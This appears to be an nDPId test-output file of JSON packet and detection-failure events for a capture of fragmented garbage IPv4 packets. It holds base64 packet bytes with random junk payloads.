+00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80420,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMEAGRYEKAAACCoAAAiZeJSQjQCFAIyQlXiYqKCk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6598,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80432,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgMkAGRX8KAAACCoAAAigqJl4lJCNAIyQlXiYqKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6599,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80444,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNEAGRX0KAAACCoAAAiZeJSQjJiooS0lKSEdGRDI="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6600,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80457,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgNkAGRXsKAAACCoAAAiomREZHSEpLJl4lJCMjRVQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6601,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80469,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOEAGRXkKAAACCoAAAlIlWV5VJkkqT1B7IjpoZGY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6602,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80483,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgOkAGRXcKAAACCoAAAmxrZGE+TDxNTkJIR0ZERVc="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6603,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80495,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPEAGRXUKAAACCoAAAiNAJCVeSEJHVgo0MjE0NjM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6604,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80507,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgPkAGRXMKAAACCoAAAjE5ODIwNTEpKComXiUkI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6605,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80519,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQEAGRXEKAAACCoAAAiMkJV4mKigqJl4lJCNyc2Q="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6606,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80531,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgQkAGRW8KAAACCoAAAmx1aGdrZmRzYmtudmMvLnQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6607,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00384{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80543,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgREAGRW0KAAACCoAAAmdmdGc\/R1I\/R1I\/c1I\/NzQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6608,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80558,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgRkAGRWsKAAACCoAAAjgzOTYpKComXiUkI0AhQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6609,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80571,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSEAGRWkKAAACCoAAAiQlXiYqKCkoKiZeJSQjQCM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6610,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80583,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgSkAGRWcKAAACCoAAAiQlXiYqKComXiUkIyYqKEs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6611,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80595,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTEAGRWUKAAACCoAAAklKSEdGRDIqJkRGR0hKSyY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6612,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80606,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgTkAGRWMKAAACCoAAAl4lJCMjRVRSJVleVSZJKk8="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6613,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80618,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUEAGRWEKAAACCoAAAlB7IjpoZGZsa2RhPkw8TU4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6614,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80631,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgUkAGRV8KAAACCoAAAkJIR0ZERVcjQCQlXkhCR1Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6615,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80643,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVEAGRV0KAAACCoAAAgo0MjE0NjMxOTgyMDUxKSg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6616,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80702,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgVkAGRVsKAAACCoAAAiomXiUkI0AjJCVeJiooKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6617,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80711,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWEAGRVkKAAACCoAAAl4lJCNyc2RsdWhna2Zkc2I="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6618,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80718,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgWkAGRVcKAAACCoAAAmtudmMvLnRnZnRnP0dSP0c="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6619,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00382{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80729,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXEAGRVUKAAACCoAAAlI\/c1I\/NzQ4Mzk2KSgqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6620,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80737,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgXkAGRVMKAAACCoAAAiUkI0AhQCMkJV4mKigpKCo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6621,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80744,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYEAGRVEKAAACCoAAAiZeJSQjQCMkJV4mKigqJl4="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6622,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80754,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgYkAGRU8KAAACCoAAAiUkIyYqKEtJSkhHRkQyKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6623,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80767,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZEAGRU0KAAACCoAAAkRGR0hKSyZeJSQjI0VUUiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6624,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80779,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgZkAGRUsKAAACCoAAAlleVSZJKk9QeyI6aGRmbGs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6625,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80793,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgaEAGRUkKAAACCoAAAmRhPkw8TU5CSEdGREVXI0A="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6626,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80804,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgakAGRUcKAAACCoAAAiQlXkhCR1YKNDIxNDYzMTk="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6627,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80816,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbEAGRUUKAAACCoAAAjgyMDUxKSgqJl4lJCNAIyQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6628,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80828,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgbkAGRUMKAAACCoAAAiVeJiooKiZeJSQjcnNkbHU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6629,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80840,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgcEAGRUEKAAACCoAAAmhna2Zkc2JrbnZjLy50Z2Y="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6630,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80851,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgckAGRT8KAAACCoAAAnRnP0dSP0dSP3NSPzc0ODM="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6631,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80866,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdEAGRT0KAAACCoAAAjk2KSgqJl4lJCNAIUAjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6632,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80878,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgdkAGRTsKAAACCoAAAl4mKigpKComXiUkI0AjJCU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6633,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80890,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgeEAGRTkKAAACCoAAAl4mKigqJl4lJCMmKihLSUo="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6634,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80901,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgekAGRTcKAAACCoAAAkhHRkQyKiZERkdISksmXiU="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6635,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80915,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfEAGRTUKAAACCoAAAiQjI0VUUiVZXlUmSSpPUHs="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6636,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80928,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAgfkAGRTMKAAACCoAAAiI6aGRmbGtkYT5MPE1OQkg="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6637,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80977,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggEAGRTEKAAACCoAAAkdGREVXI0AkJV5IQkdWCjQ="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6638,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} +00380{"packet_event_id":1,"packet_event_name":"packet","thread_id":0,"packet_id":6639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1534244031,"pkt_ts_usec":80985,"pkt_caplen":50,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":0,"pkt_len":50,"pkt_l4_len":0,"pkt":"QgEK8AABQgEK8AAbCABFAAAkAKAggkAGRS8KAAACCoAAAjIxNDYzMTk4MjA1MSkoKiY="} +00188{"basic_event_id":8,"basic_event_name":"nDPI IPv4\/L4 payload detection failed","thread_id":0,"packet_id":6639,"source":"ip_fragmented_garbage.pcap","alias":"nDPId-test","l4_data_len":16} 